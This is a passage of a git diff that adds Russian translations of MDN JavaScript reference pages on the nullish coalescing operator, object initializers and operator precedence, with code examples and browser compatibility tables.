+<p>Однако, оператор <code>||</code> это логический оператор, левый операнд которого при сравнении неявно приводится к булевому значению, поэтому любое <em>ложное</em> значение (<code>0</code>, <code>''</code>, <code>NaN</code>, <code>null</code>, <code>undefined</code>) не возвращается. Данное поведение может быть нежелательным если вы рассматриваете <code>0</code>, <code>''</code>, или <code>NaN</code> как корректные значения.</p>
+
+<pre class="brush: js notranslate">let count = 0;
+let text = "";
+
+let qty = count || 42;
+let message = text || "hi!";
+console.log(qty);     // 42 and not 0
+console.log(message); // "hi!" and not ""
+</pre>
+
+<p>Оператор нулевого слияния предотвращает попадание в такую ловушку, возвращая второй операнд если первый оказывается <code>null</code> or <code>undefined</code> (но не любым другим <em>ложным</em> значением):</p>
+
+<pre class="brush: js notranslate">let myText = ''; // Пустая строка (тоже является ложным значением при приведении к логическому типу)
+
+let notFalsyText = myText || 'Hello world';
+console.log(notFalsyText); // Hello world
+
+let preservingFalsy = myText ?? 'Hi neighborhood';
+console.log(preservingFalsy); // '' (так как myText не undefined и не null)
+</pre>
+
+<h3 id="Синтаксическое_сокращение">Синтаксическое сокращение</h3>
+
+<p>Так же как при использовании логического И и ИЛИ, правое выражение не вычисляется если найдено подходящее значение в левом.</p>
+
+<pre class="brush: js notranslate">function A() { console.log('A was called'); return undefined;}
+function B() { console.log('B was called'); return false;}
+function C() { console.log('C was called'); return "foo";}
+
+console.log( A() ?? C() );
+// выводит "A was called", затем "C was called", и затем "foo"
+// так как A() возвращает undefined, поэтому оба выражения вычисляются
+
+console.log( B() ?? C() );
+// выводит "B was called", затем "false"
+// так как B() возвращает false (но не null или undefined), правое
+// выражение не вычисляется
+</pre>
+
+<h3 id="Не_объединяется_с_И_или_ИЛИ_операторами">Не объединяется с И или ИЛИ операторами</h3>
+
+<p>Нельзя напрямую объединять И (<code>&amp;&amp;</code>) и ИЛИ (<code>||</code>) операторы с <code>??</code>. При таком выражении будет выброшен <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code>.</p>
+
+<pre class="brush: js example-bad notranslate">null || undefined ?? "foo"; // выбрасывает SyntaxError
+true || undefined ?? "foo"; // выбрасывает SyntaxError</pre>
+
+<p>Однако, при заключении в скобки выражение является корректным:</p>
+
+<pre class="brush: js example-good notranslate">(null || undefined) ?? "foo"; // returns "foo"
+</pre>
+
+<h3 id="Отношение_к_оператору_опциональной_последовательности_.">Отношение к оператору опциональной последовательности (<code>?.</code>)</h3>
+
+<p>Оператор нулевого слияния определяет <code>undefined</code> и <code>null</code> как специальные значения так же как и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Optional_chaining">оператор опциональной последовательности (<code>?.</code>)</a>, который используется для доступа к свойствам объекта, значение которого может быть <code>null</code> или <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">let foo = { someFooProp: "hi" };
+
+console.log(foo.someFooProp?.toUpperCase());  // "HI"
+console.log(foo.someBarProp?.toUpperCase()); // undefined
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.operators.nullish_coalescing")}}</p>
+
+<h3 id="Прогресс_реализации">Прогресс реализации</h3>
+
+<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p>
+
+<div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Оператор опциональной последовательности</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/%D0%9B%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B#%D0%9B%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%98%D0%9B%D0%98">Логическое ИЛИ (<code>||</code>)</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">Параметры по умолчанию</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/object_initializer/index.html b/files/ru/web/javascript/reference/operators/object_initializer/index.html
new file mode 100644
index 0000000000..c7172a0c03
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/object_initializer/index.html
@@ -0,0 +1,431 @@
+---
+title: Инициализация объектов
+slug: Web/JavaScript/Reference/Operators/Object_initializer
+translation_of: Web/JavaScript/Reference/Operators/Object_initializer
+---
+<div>{{JsSidebar("Операторы")}}</div>
+
+<p>Объекты могут быть инициализированы с помощью <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a> </code>или <em>литеральной</em> (<em>инициирующей</em>) нотации. Инициализатор объекта это разделенный запятыми список ноль или более пар имен свойств и ассоциируемых с ними значений, заключенных в фигурные скобки (<code>{}</code>).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var o = {};
+var o = {a: 'foo', b: 42, c: {}};
+
+var a = 'foo', b = 42, c = {};
+var o = {a: a, b: b, c: c};
+
+var o = {
+  <var>property: function </var>([<var>parameters</var>]) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};
+</pre>
+
+<h3 id="Новая_нотация_в_ECMAScript_2015">Новая нотация в ECMAScript 2015</h3>
+
+<p>Пожалуйста, просмотрите таблицу поддержки этих нотаций. В неподдерживаемом окружении, эти нотации приведут к синтаксической ошибке.</p>
+
+<pre class="brush: js">// Сокращение имен свойств (ES2015)
+var a = 'foo', b = 42, c = {};
+var o = {a, b, c};
+
+// Сокращение имен методов (ES2015)
+var o = {
+  <var>property</var>([<var>parameters</var>]) {}
+};
+
+// Вычисление имен свойств (ES2015)
+var prop = 'foo';
+var o = {
+  [prop]: 'hey',
+  ['b' + 'ar']: 'there'
+};</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Инициализатор объекта это выражение, которое описывает инициализацию {{jsxref("Object")}}. Объекты состоят из <em>свойств</em>, которые используются для описания объекта. Значения свойств объектов могут содержать как {{Glossary("примитивные")}} типы данных, так и другие объекты.</p>
+
+<h3 id="Создание_объектов">Создание объектов</h3>
+
+<p>Пустой объект без свойств может быть создан следующим образом:</p>
+
+<pre class="brush: js">var object = {};</pre>
+
+<p>Однако, преимущество <em>литеральной</em> или <em>инициирующей</em> нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создается простой список пар <code>ключ: значение</code>, разделенных запятой. Следующий код создает объект с тремя парами значений и ключи это <code>"foo"</code>, <code>"age"</code> и <code>"baz"</code>. Значения этих ключей строка <code>"bar"</code>, число <code>42</code> и другой объект.</p>
+
+<pre class="brush: js">var object = {
+  foo: 'bar',
+  age: 42,
+  baz: {myProp: 12}
+}</pre>
+
+<h3 id="Доступность_свойств">Доступность свойств</h3>
+
+<p>После того, как создали объект, вы, вероятно, захотите прочитать или изменить его. Свойства объектов могут быть получены при помощи точечной нотации или квадратных скобок. Смотрите <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a> для детальной информации.</p>
+
+<pre class="brush: js">object.foo; // "bar"
+object['age']; // 42
+
+object.foo = 'baz';
+</pre>
+
+<h3 id="Определение_свойств">Определение свойств</h3>
+
+<p>Мы уже рассмотрели, как объявить свойства, используя синтаксис инициализации. Зачастую, в коде появляются свойства, которые вы захотите поместить в объект. Вы увидете следующий код:</p>
+
+<pre class="brush: js">var a = 'foo',
+    b = 42,
+    c = {};
+
+var o = {
+  a: a,
+  b: b,
+  c: c
+};</pre>
+
+<p>С ECMAScript 2015 появилась короткая нотация, способная достичь того же:</p>
+
+<pre class="brush: js">var a = 'foo',
+    b = 42,
+    c = {};
+
+// Сокращение имен свойств (ES2015)
+var o = {a, b, c};
+
+// Иначе говоря,
+console.log((o.a === {a}.a)); // true
+</pre>
+
+<h4 id="Повторение_имен_свойств">Повторение имен свойств</h4>
+
+<p>Когда используются одинаковые имена свойств, второе свойство перезапишет первое.</p>
+
+<pre class="brush: js">var a = {x: 1, x: 2};
+console.log(a); // {x: 2}
+</pre>
+
+<p>В строгом режиме ECMAScript 5, повторение имен свойств будет воспринято как {{jsxref("SyntaxError")}}.  С введением вычисляемых имен свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.</p>
+
+<pre class="brush: js">function haveES2015DuplicatePropertySemantics() {
+  'use strict';
+  try {
+    ({prop: 1, prop: 2});
+
+    // Не будет ошибки, повторение имен доступно в строгом режиме
+    return true;
+  } catch(e) {
+    // Будет ошибка, дубликаты запрещены в строгом режиме
+    return false;
+  }
+}</pre>
+
+<h3 id="Описание_методов">Описание методов</h3>
+
+<p>Свойство объекта также может ссылаться на <a href="/en-US/docs/Web/JavaScript/Reference/Functions">function</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> или <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a>.</p>
+
+<pre class="brush: js">var o = {
+  <var>property: function </var>([<var>parameters</var>]) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};</pre>
+
+<p>В ECMAScript 2015, доступна короткая нотация, поэтому слово "function" более не обязательно.</p>
+
+<pre class="brush: js">// Сокращение имен методов (ES2015)
+var o = {
+  <var>property</var>([<var>parameters</var>]) {},
+  *<var>generator</var>() {}
+};</pre>
+
+<p>В ECMAScript 2015 есть способ кратко объявить свойства, чьими значениями являются генераторы функций:</p>
+
+<pre class="brush: js">var o = {
+  *<var>generator</var>() {
+    ...........
+  }
+};</pre>
+
+<p>Что эквивалентно следующей ES5-подобной нотации (но отметьте, что  ECMAScript 5 не содержит генераторов):</p>
+
+<pre class="brush: js">var o = {
+  generator<var>: function* </var>() {
+    ...........
+  }
+};</pre>
+
+<p>Для большей информации и примеров смотри <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>.</p>
+
+<h3 id="Вычисляемые_имена_свойств">Вычисляемые имена свойств</h3>
+
+<p>Начиная с ECMAScript 2015, синтаксис объявления объектов также поддерживает вычисляемые имена свойств. Это позволяет добавлять в скобки <code>[] </code>выражение, которое будет вычислено, как имя свойства. Это похоже на скобочную нотацию синтаксиса <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessor</a>, которую вы, вероятно, уже использовали, чтобы прочитать и задать свойство. Теперь можно использовать аналогичный способ с литеральными объектами:</p>
+
+<pre class="brush: js">// Вычисляемое имя свойства (ES2015)
+var i = 0;
+var a = {
+  ['foo' + ++i]: i,
+  ['foo' + ++i]: i,
+  ['foo' + ++i]: i
+};
+
+console.log(a.foo1); // 1
+console.log(a.foo2); // 2
+console.log(a.foo3); // 3
+
+var param = 'size';
+var config = {
+  [param]: 12,
+  ['mobile' + param.charAt(0).toUpperCase() + param.slice(1)]: 4
+};
+
+console.log(config); // {size: 12, mobileSize: 4}</pre>
+
+<h3 id="Spread-свойства">Spread-свойства</h3>
+
+<p><a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread свойство ECMAScript</a> предлагает (stage 3) добавлять <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread</a> свойства в литеральную нотацию. Оно копирует собственные перечисляемые свойства из представленного объекта в новый.</p>
+
+<p>Поверхностное копирование (исключая prototype) или слияние объектов теперь возможно с помощью более короткого синтаксиса, чем  {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Объект { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Объект { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>Заметьте, что {{jsxref("Object.assign()")}} вызывает <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setters</a>, тогда как оператор spread нет.</p>
+
+<h3 id="Изменение_Prototype">Изменение Prototype</h3>
+
+<p>Объявление свойства в виде <code>__proto__: value</code> или <code>"__proto__": value</code> не создаст свойства с именем <code>__proto__</code>.  Вместо этого, если предоставляемое значение объект или <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>, оно заменит <code>[[Prototype]]</code> создаваемого объекта на это значение.  (Если значение не объект или null, объект не изменится.)</p>
+
+<pre class="brush: js">var obj1 = {};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+
+var obj2 = {__proto__: null};
+assert(Object.getPrototypeOf(obj2) === null);
+
+var protoObj = {};
+var obj3 = {'__proto__': protoObj};
+assert(Object.getPrototypeOf(obj3) === protoObj);
+
+var obj4 = {__proto__: 'not an object or null'};
+assert(Object.getPrototypeOf(obj4) === Object.prototype);
+assert(!obj4.hasOwnProperty('__proto__'));
+</pre>
+
+<p>Только одно изменение prototype разрешено через литеральное объявление объекта: несколько изменений prototype вызовут синтаксическую ошибку.</p>
+
+<p>Объявление свойства не через "двоеточие" не изменит знаения prototype: это описание будет выглядеть идентично такому же объявлению свойства с использованием любого другого имени.</p>
+
+<pre class="brush: js">var __proto__ = 'variable';
+
+var obj1 = {__proto__};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+assert(obj1.hasOwnProperty('__proto__'));
+assert(obj1.__proto__ === 'variable');
+
+var obj2 = {__proto__() { return 'hello'; }};
+assert(obj2.__proto__() === 'hello');
+
+var obj3 = {['__prot' + 'o__']: 17};
+assert(obj3.__proto__ === 17);
+</pre>
+
+<h2 id="Литеральная_нотация_vs_JSON">Литеральная нотация vs JSON</h2>
+
+<p>Литеральная нотация не то же самое, что и  <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (<a href="/en-US/docs/Glossary/JSON">JSON</a>). Хотя они и выглядят аналогично, существует разница между ними:</p>
+
+<ul>
+ <li>JSON позволяет объявление свойств <em>только</em> с помощью синтаксиса <code>"property": value</code>.  Имя свойства должно быть заключено в двойные кавычки и объявление не может быть сокращено.</li>
+ <li>В JSON значения могут быть только строками, числами, массивами, <code>true</code>, <code>false</code>, <code>null</code> или другими (JSON) объектами.</li>
+ <li>Значения-функции (смотри "Методы" выше) не могут быть присвоены свойствам в JSON.</li>
+ <li>Объект вида {{jsxref("Date")}} будет строкой после {{jsxref("JSON.parse()")}}.</li>
+ <li>{{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернет ошибку.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a> added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object-initializer', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Shorthand method/property names and computed property names added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript </a></td>
+   <td>Draft</td>
+   <td>Stage 3 draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Shorthand property names</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("33")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Shorthand method names</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Spread properties</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+   <td>{{CompatChrome(1.0)}}</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>7.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Shorthand property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("33")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Shorthand method names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Spread properties</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></code> / <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">Method definitions</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/operator_precedence/index.html b/files/ru/web/javascript/reference/operators/operator_precedence/index.html
new file mode 100644
index 0000000000..2362cdc038
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/operator_precedence/index.html
@@ -0,0 +1,322 @@
+---
+title: Приоритет операторов
+slug: Web/JavaScript/Reference/Operators/Operator_Precedence
+tags:
+  - JavaScript
+  - Операторы
+  - подробности об операторах
+  - приоритет операторов
+translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Приоритет операторов</strong> определяет порядок, в котором операторы выполняются. Операторы с более высоким приоритетом выполняются первыми.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}</div>
+
+
+
+<h2 id="Associativity" name="Associativity">Ассоциативность</h2>
+
+<p>Ассоциативность определяет порядок, в котором обрабатываются операторы с одинаковым приоритетом. Например, рассмотрим выражение:</p>
+
+<pre class="syntaxbox notranslate">a OP b OP c
+</pre>
+
+<p>Левая ассоциативность (слева направо) означает, что оно обрабатывается как <code>(a OP b) OP c</code>, в то время как правая ассоциативность (справа налево) означает, что они интерпретируются как <code>a OP (b OP c)</code>. Операторы присваивания являются право-ассоциативными, так что вы можете написать:</p>
+
+<pre class="brush: js notranslate">a = b = 5;
+</pre>
+
+<p>с ожидаемым результатом, что <code>a</code> и <code>b</code> будут равны 5. Это происходит, потому что оператор присваивания возвращает тот результат, который присваивает. Сначала <code>b</code> становится равным 5, затем <code>a</code> принимает значение <code>b</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate"><code>3 &gt; 2 &amp;&amp; 2 &gt; 1
+// вернёт true
+
+3 &gt; 2 &gt; 1
+// вернёт false, потому что 3 &gt; 2 возвращает true, в свою очередь true &gt; 1 вернёт false
+// Добавление скобок значительно повышает читаемость выражения: (3 &gt; 2) &gt; 1</code></pre>
+
+<h2 id="Table" name="Table">Таблица</h2>
+
+<p>Данная таблица упорядочена с самого высокого приоритета (20) до самого низкого (1).</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Приоритет</th>
+   <th>Тип оператора</th>
+   <th>Ассоциативность</th>
+   <th>Конкретные операторы</th>
+  </tr>
+  <tr>
+   <td>20</td>
+   <td>{{jsxref("Operators/Grouping", "Группировка")}}</td>
+   <td>не определено</td>
+   <td><code>( … )</code></td>
+  </tr>
+  <tr>
+   <td rowspan="4">19</td>
+   <td>{{jsxref("Operators/Property_Accessors", "Доступ к свойствам", "#Dot_notation")}}</td>
+   <td>слева направо</td>
+   <td><code>… . …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/Property_Accessors", "Доступ к свойствам с возможностью вычисления","#Bracket_notation")}}</td>
+   <td>слева направо</td>
+   <td><code>… [ … ]</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/new","new")}} (со списком аргументов)</td>
+   <td>не определено</td>
+   <td><code>new … ( … )</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Guide/Functions">Вызов функции</a></td>
+   <td>слева направо</td>
+   <td><code>… ( <var>… </var>)</code></td>
+  </tr>
+  <tr>
+   <td>18</td>
+   <td>{{jsxref("Operators/new","new")}} (без списка аргументов)</td>
+   <td>справа налево</td>
+   <td><code>new …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">17</td>
+   <td>{{jsxref("Operators/Arithmetic_Operators","Постфиксный инкремент","#Increment")}}</td>
+   <td rowspan="2">не определено</td>
+   <td><code>… ++</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/Arithmetic_Operators","Постфиксный декремент","#Decrement")}}</td>
+   <td><code>… --</code></td>
+  </tr>
+  <tr>
+   <td rowspan="10">16</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">Логическое отрицание</a></td>
+   <td rowspan="10">справа налево</td>
+   <td><code>! …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">Побитовое отрицание</a></td>
+   <td><code>~ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">Унарный плюс</a></td>
+   <td><code>+ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">Унарный минус</a></td>
+   <td><code>- …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">Префиксный инкремент</a></td>
+   <td><code>++ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">Префиксный декремент</a></td>
+   <td><code>-- …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></td>
+   <td><code>typeof …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/void">void</a></td>
+   <td><code>void …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/delete">delete</a></td>
+   <td><code>delete …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/await">await</a></td>
+   <td><code>await …</code></td>
+  </tr>
+  <tr>
+   <td>15</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">Возведение в степень</a></td>
+   <td>справа налево</td>
+   <td><code>… ** …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">14</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Multiplication">Умножение</a></td>
+   <td rowspan="3">слева направо</td>
+   <td><code>… * …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Division">Деление</a></td>
+   <td><code>… / …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">Остаток</a></td>
+   <td><code>… % …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">13</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition">Сложение</a></td>
+   <td rowspan="2">слева направо</td>
+   <td><code>… + …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Subtraction">Вычитание</a></td>
+   <td><code>… - …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">12</td>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Побитовый сдвиг влево</a></td>
+   <td rowspan="3">слева направо</td>
+   <td><code>… &lt;&lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Побитовый сдвиг вправо</a></td>
+   <td><code>… &gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Сдвиг вправо с заполнением нулей</a></td>
+   <td><code>… &gt;&gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="6">11</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">Меньше</a></td>
+   <td rowspan="6">слева направо</td>
+   <td><code>… &lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than__or_equal_operator">Меньше или равно</a></td>
+   <td><code>… &lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">Больше</a></td>
+   <td><code>… &gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">Больше или равно</a></td>
+   <td><code>… &gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/in">in</a></td>
+   <td><code>… in …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></td>
+   <td><code>… instanceof …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="4">10</td>
